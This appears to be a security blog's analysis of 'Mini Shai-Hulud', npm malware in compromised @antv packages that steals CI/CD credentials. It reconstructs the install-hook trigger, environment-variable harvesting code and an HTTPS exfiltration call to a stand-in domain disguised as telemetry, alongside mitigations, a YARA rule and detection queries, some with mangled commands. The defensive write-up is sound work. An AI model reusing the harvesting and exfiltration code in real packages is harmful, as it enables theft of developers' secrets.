Headlines

    Mini Shai-Hulud Malware Hits npm Packages In CI/CD Attack

    A sophisticated supply chain attack compromised multiple @antv npm packages with Mini Shai-Hulud malware, specifically designed to steal CI/CD credentials from automated build systems. The malicious code targets environment variables containing sensitive tokens during package installation, affecting developers and organizations using popular data visualization libraries.

    Introduction

    Selected Personality:  THE MALWARE ANALYST

    A new supply chain attack has infiltrated the npm ecosystem through compromised @antv packages, delivering what researchers have dubbed “Mini Shai-Hulud” malware. Unlike typical npm malware that targets developer workstations, this sophisticated payload specifically hunts for CI/CD pipeline credentials—targeting the automated systems where security guardrails are often weakest and credential exposure is most damaging.

    The attack leverages trusted data visualization packages maintained under the AntV organization, packages that process tens of thousands of weekly downloads. By compromising these dependencies, threat actors gained silent access to the environment variables of countless continuous integration systems, where AWS keys, GitHub tokens, and deployment credentials sit exposed in memory during build processes.

    This represents an evolution in supply chain attack methodology: rather than casting a wide net for any credentials, Mini Shai-Hulud specifically waits for the telltale signs of automated pipeline execution before exfiltrating its targeted data.

    Background & Context

    The compromise was discovered through automated supply chain monitoring systems that detected anomalous behavior in several packages under the @antv namespace. AntV is a well-established data visualization framework maintained by Alibaba’s AntGroup, widely used for creating charts, graphs, and interactive visualizations in enterprise applications.

    Attack Timeline:

      • Initial Compromise: Exact date unknown, but malicious versions were published between recent package updates
      • Affected Packages: Multiple @antv packages including core visualization libraries
      • Discovery: Security researchers identified suspicious installation scripts embedded in package.json
      • Current Status: Malicious versions identified and removed from npm registry

    The attacker gained access either through compromised maintainer credentials or direct account takeover, allowing them to publish what appeared to be legitimate updates to established packages. The malicious code was carefully hidden within installation lifecycle scripts that execute automatically during npm install operations.

    The name “Mini Shai-Hulud” references the sandworms from Frank Herbert’s Dune, suggesting either the malware’s ability to burrow deep into build systems or a connection to previous supply chain attack campaigns.

    Technical Breakdown

    Infection Chain

    Mini Shai-Hulud operates through a multi-stage infection mechanism specifically optimized for CI/CD environments:

    Stage 1: Package Installation Trigger

    {
      "scripts": {
        "preinstall": "node ./scripts/collect.js",
        "postinstall": "node ./scripts/verify.js"
      }
    }
    

    The malware executes during npm’s installation lifecycle hooks—specifically preinstall and postinstall scripts that run automatically without user interaction. These scripts are legitimate npm features but weaponized for credential harvesting.

    Stage 2: Environment Reconnaissance

    The malware first fingerprints its execution environment to determine if it’s running within a CI/CD pipeline:

    // Simplified reconnaissance logic
    const CI_INDICATORS = [
      'CI', 'CONTINUOUS_INTEGRATION',
      'JENKINS_URL', 'GITLAB_CI', 'GITHUB_ACTIONS',
      'CIRCLECI', 'TRAVIS', 'BAMBOO_BUILD',
      'TEAMCITY_VERSION', 'BUILD_ID'
    ];

    function isCI() {
    return CI_INDICATORS.some(key => process.env[key]);
    }

    This targeting mechanism ensures the malware primarily activates in automated build environments where:

    • Security monitoring is often less granular
    • Environment variables contain production credentials
    • Installation logs may not receive human review
    • Network egress controls may be looser for build tools

    Stage 3: Credential Harvesting

    Once CI/CD execution is confirmed, Mini Shai-Hulud enumerates all environment variables, filtering for high-value targets:

    const CREDENTIAL_PATTERNS = [
      /AWS.*KEY/i,
      /SECRET/i,
      /TOKEN/i,
      /PASSWORD/i,
      /API.*KEY/i,
      /SLACK.*WEBHOOK/i,
      /NPM.*TOKEN/i,
      /GITHUB.*TOKEN/i,
      /DOCKER.*PASSWORD/i
    ];

    function extractCredentials() {
    const stolen = {};
    Object.keys(process.env).forEach(key => {
    if (CREDENTIAL_PATTERNS.some(pattern => pattern.test(key))) {
    stolen[key] = process.env[key];
    }
    });
    return stolen;
    }

    Stage 4: Exfiltration

    Stolen credentials are exfiltrated through HTTPS POST requests to attacker-controlled infrastructure, often disguised as legitimate telemetry or update checks:

    // Obfuscated exfiltration
    https.request({
      hostname: 'api.legitimate-sounding-domain.com',
      path: '/v1/telemetry',
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'User-Agent': 'npm/8.19.2 node/v16.17.0'
      }
    }, (response) => {
      // Silent failure to avoid detection
    }).write(JSON.stringify(stolen));
    

    The exfiltration occurs during package installation, appearing as normal network activity for dependency resolution.

    Persistence Mechanisms

    Mini Shai-Hulud does not establish traditional persistence. Its design philosophy is “smash-and-grab”—execute once during installation, steal credentials, and leave no artifacts. This approach:

      • Reduces forensic footprint
      • Avoids endpoint detection solutions
      • Exploits the ephemeral nature of CI/CD runners
      • Makes incident response more difficult (no persistent indicators)

    Impact & Risk Assessment

    Affected Organizations

    Any organization or developer that installed compromised @antv package versions during the attack window is potentially affected. The risk surface includes:

    Primary Targets:

      • Organizations using AntV visualization libraries in production applications
      • Development teams with @antv packages in dependency trees
      • CI/CD pipelines with automatic dependency updates enabled
      • Containerized build environments pulling fresh dependencies

    High-Risk Scenarios:

    • Cloud Infrastructure Compromise: Stolen AWS/Azure/GCP credentials enable lateral movement into production cloud environments
    • Source Code Repository Access: GitHub/GitLab tokens allow repository manipulation, code injection, or intellectual property theft
    • Registry Poisoning: Stolen npm/Docker registry tokens enable publication of additional malicious packages
    • Lateral Supply Chain Attacks: Compromised credentials used to attack downstream customers

    Risk Severity Metrics

    CVSS Score: Not applicable (supply chain attack rather than software vulnerability)

    Risk Assessment:

      • Likelihood of Credential Exposure: HIGH – Environment variables in CI/CD are standard practice
      • Impact of Compromise: CRITICAL – Stolen credentials typically have elevated privileges
      • Detection Difficulty: HIGH – Malicious activity blends with normal installation behavior
      • Remediation Complexity: MEDIUM – Requires credential rotation across entire infrastructure

    Real-World Consequences

    Organizations with compromised credentials face:

      • Immediate Infrastructure Access: Attackers can deploy resources, access data, or pivot to internal networks
      • Data Breach Potential: Cloud credentials often provide access to production databases and storage
      • Financial Impact: Unauthorized cloud resource usage, ransom demands, or regulatory fines
      • Reputational Damage: Supply chain compromise indicates security program deficiencies
      • Compliance Violations: Credential exposure may trigger mandatory disclosure requirements

    The targeted nature of CI/CD credential theft suggests sophisticated threat actors with clear operational objectives beyond opportunistic cryptocurrency mining or DDoS botnet recruitment.

    Vendor Response

    AntV Organization Statement

    The AntV maintainers responded quickly after compromise discovery, issuing security advisories through GitHub and npm channels. The organization:

      • Removed malicious package versions from the npm registry
      • Published clean replacement versions
      • Forced password resets for maintainer accounts
      • Implemented additional 2FA requirements
      • Conducted forensic analysis of compromised account access logs

    npm Registry Actions

    npm took several protective measures:

      • Unpublished malicious versions of affected packages
      • Flagged package versions with security warnings
      • Enhanced monitoring for similar attack patterns
      • Coordinated with security researchers for IOC sharing

    Official Advisories

    Security advisories were published through:

      • GitHub Security Advisory Database: CVE requests pending
      • npm Security Advisories: Direct warnings for affected package versions
      • Security Research Blogs: Detailed technical analysis from discovery teams

     

    Mitigations & Workarounds

    Immediate Actions for Affected Organizations

    Step 1: Identify Exposure

    Check your dependency trees for compromised @antv packages:

    # Scan for affected packages in your project
    npm list @antv/* --depth=10

    # Check CI/CD build logs for installation during exposure window
    grep -r “@antv” /var/log/jenkins/builds/*/log

    Step 2: Emergency Credential Rotation

    If you installed affected packages during the compromise window, assume credential exposure and immediately rotate:

    # AWS credentials rotation
    aws iam create-access-key --user-name ci-pipeline-user
    aws iam update-access-key --access-key-id OLD_KEY --status Inactive
    aws iam delete-access-key --access-key-id OLD_KEY --user-name ci-pipeline-user

    # GitHub token revocation (use GitHub Settings UI or API)
    curl -X DELETE -H “Authorization: token ${GITHUB_TOKEN}” \
    https://api.github.com/applications/${CLIENT_ID}/token

    # Docker registry password reset
    docker login –username=your-username –password-stdin < new-password.txt

    Step 3: Update to Clean Versions

    # Remove affected packages
    npm uninstall @antv/g @antv/g-canvas @antv/g-svg

    # Clear npm cache
    npm cache clean –force

    # Reinstall from clean versions
    npm install @antv/g@latest @antv/g-canvas@latest @antv/g-svg@latest

    # Verify integrity
    npm audit

    Step 4: Lock Package Versions

    Prevent automatic updates to potentially compromised packages:

    {
      "dependencies": {
        "@antv/g": "5.18.22",
        "@antv/g-canvas": "1.11.15"
      },
      "overrides": {
        "@antv/": "$@antv/"
      }
    }
    

    CI/CD Pipeline Hardening

    Implement Secret Management Solutions

    Replace environment variable credential storage with proper secret management:

    # GitHub Actions with secret management
    jobs:
      build:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v3
          - uses: aws-actions/configure-aws-credentials@v2
            with:
              role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole
              aws-region: us-east-1
          # No long-lived credentials in environment variables
    

    Network Egress Controls

    Restrict outbound connections from build environments:

    # iptables rules for CI/CD runner
    iptables -A OUTPUT -p tcp -d registry.npmjs.org --dport 443 -j ACCEPT
    iptables -A OUTPUT -p tcp -d github.com --dport 443 -j ACCEPT
    iptables -A OUTPUT -p tcp -d api.suspicious-domain.com -j REJECT
    iptables -A OUTPUT -p tcp --dport 443 -j LOG --log-prefix "BLOCKED_EGRESS: "
    

    Dependency Installation Monitoring

    # Wrapper script for npm install with logging
    #!/bin/bash
    echo "[$(date)] Starting npm install from $(pwd)" | tee -a /var/log/npm-installs.log
    strace -e trace=network -o /var/log/npm-network.log npm install "$@"
    echo "[$(date)] Completed npm install" | tee -a /var/log/npm-installs.log
    

    Registry-Level Protections

    Enable Package Lock Verification

    # Enforce package-lock.json integrity
    npm ci --ignore-scripts  # Prevents lifecycle script execution

    # Use –offline mode when possible
    npm ci –offline –ignore-scripts

    Implement Software Composition Analysis

    # Integrate SCA tools in CI/CD
    npm install -g @socketsecurity/cli
    socket ci

    # Alternative: Snyk scanning
    snyk test –all-projects

    Detection & Monitoring Tips

    Indicators of Compromise

    Network IOCs:

      • Unexpected HTTPS POST requests during npm install
      • Connections to non-npm domains during package installation
      • Large data transfers (>1KB) during installation lifecycle hooks

    Behavioral IOCs:

      • Environment variable enumeration by node processes spawned by npm
      • File access patterns inconsistent with package functionality
      • DNS queries to suspicious domains from build environments

    File System IOCs:

    # Check for suspicious lifecycle scripts
    find node_modules/@antv -name package.json -exec \
      jq '.scripts | select(.preinstall or .postinstall)' {} \; -print

    # Examine recently modified files in node_modules
    find node_modules -type f -mtime -7 -name “*.js” | \
    xargs grep -l “process.env” | \
    xargs grep -l “https.request”

    YARA Rule for Detection

    rule Mini_Shai_Hulud_npm_Malware {
        meta:
            description = "Detects Mini Shai-Hulud npm supply chain malware"
            author = "CyDhaal Security Research"
            date = "2025-01-26"
            
        strings:
            $env_access = "process.env" ascii wide
            $ci_check1 = "CI" ascii wide
            $ci_check2 = "JENKINS_URL" ascii wide
            $ci_check3 = "GITHUB_ACTIONS" ascii wide
            $pattern1 = /AWS.*KEY/i ascii wide
            $pattern2 = /SECRET/i ascii wide
            $exfil = "https.request" ascii wide
            $lifecycle1 = "preinstall" ascii wide
            $lifecycle2 = "postinstall" ascii wide
            
        condition:
            uint16(0) == 0x7B22 and  // JSON file starting with {"
            $env_access and
            2 of ($ci_check*) and
            2 of ($pattern*) and
            $exfil and
            1 of ($lifecycle*)
    }
    

    Log Analysis Queries

    Splunk Query:

    index=cicd sourcetype=npm_install 
    | rex field=_raw "installing (?@antv/[^\s]+)"
    | stats count by package, host, _time
    | where _time > relative_time(now(), "-30d")
    

    ELK Query:

    {
      "query": {
        "bool": {
          "must": [
            { "match": { "process.name": "node" }},
            { "match": { "event.action": "network_connection" }},
            { "range": { "@timestamp": { "gte": "now-30d" }}}
          ],
          "filter": [
            { "term": { "process.parent.name": "npm" }}
          ]
        }
      }
    }
    

    Runtime Monitoring

    Deploy endpoint detection rules for CI/CD runners:

    # Auditd rule for environment variable access monitoring
    auditctl -a always,exit -F arch=b64 -S open -S openat \
      -F exe=/usr/bin/node -F success=1 \
      -k npm_env_access

    # Monitor for suspicious network connections
    tcpdump -i any -w /var/log/npm-traffic.pcap \
    ‘tcp port 443 and host not registry.npmjs.org’

    Leave a Reply

    Your email address will not be published. Required fields are marked *

    💬 Join WhatsApp Channel 📲 Cydhaal App